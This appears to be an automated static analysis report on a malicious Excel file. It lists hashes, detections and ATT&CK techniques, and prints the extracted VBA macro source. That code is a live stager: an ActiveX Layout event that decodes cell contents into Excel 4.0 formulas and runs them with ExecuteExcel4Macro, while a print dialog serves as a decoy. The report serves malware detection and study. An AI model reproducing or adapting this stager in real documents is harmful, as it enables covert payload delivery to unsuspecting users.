Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a02c587aec19b3e0…

MALICIOUS

Office (OOXML)

40.5 KB Created: 2020-07-28 06:56:52 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-08-10
MD5: aba31090e80c88fdaacd0814115fe983 SHA-1: b2a39d9a416026dfe713723448a26fd6b7b0fef6 SHA-256: a02c587aec19b3e05a76d1074eba0b86985b6f681478ca7f3bdbff72953d5860
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains VBA macros that leverage an ActiveX event to execute a decoded Excel 4.0 macro. This macro appears to be designed to download and execute a second-stage payload, as indicated by the ClamAV detection signature 'Xls.Malware.Mrhl-9774585-0'. The VBA code concatenates strings to form commands and uses ExecuteExcel4Macro, suggesting a downloader or stager functionality.

Heuristics 3

  • ClamAV: Xls.Malware.Mrhl-9774585-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Mrhl-9774585-0
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGER
    VBA code attached to an auto-firing ActiveX/UserForm control event (e.g. _Layout/_Change/_Painted) decodes a string with Replace/Split/Join/StrReverse/Chr and passes the recovered formula text to ExecuteExcel4Macro. This bridges VBA event activation into XLM formula execution to call Win32 APIs / drop payloads while evading AutoOpen and Shell keyword detection — a high-confidence macro stager, not a specific Office parser CVE.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1131 bytes
SHA-256: 64b0e944c62c4b621c8a0fe53a211b3a6163bd3ebf9af64c8589f9be55cdc89e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Questa_cartella_di_lavoro"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Riduci, 1, 0, MSForms, Frame"
Private Sub Riduci_Layout()
On Error Resume Next
For a = 2 To 3411: For K = 1 To 212
o = "+"
cis = Cells(a, K): If IsEmpty(cis) = 0 Then T = T & cis
Next: imaggi = imaggi & Chr(T): T = "": Next: E = Split(imaggi, o)
For Each rom In E: fk = Len(ExecuteExcel4Macro(rom)): Next: Application.WindowState = xlMinimized: Application.Dialogs(xlDialogPrint).Show
End Sub
Sub Barre()
MsgBox "Vizualizza...", vbInformation: ActiveWorkbook.Close 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10752 bytes
SHA-256: 1572ebdbd3c52e277609c136c697e35601a78f584456b06a3ffc9c424b113cfe
Detection
ClamAV: Xls.Malware.Mrhl-9774585-0
Obfuscation or payload: unlikely
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 1976 bytes
SHA-256: 76f287b1e3251b7e0e5ba27bfb05b35831150cc665de00f9fd2d807e2d2a028d

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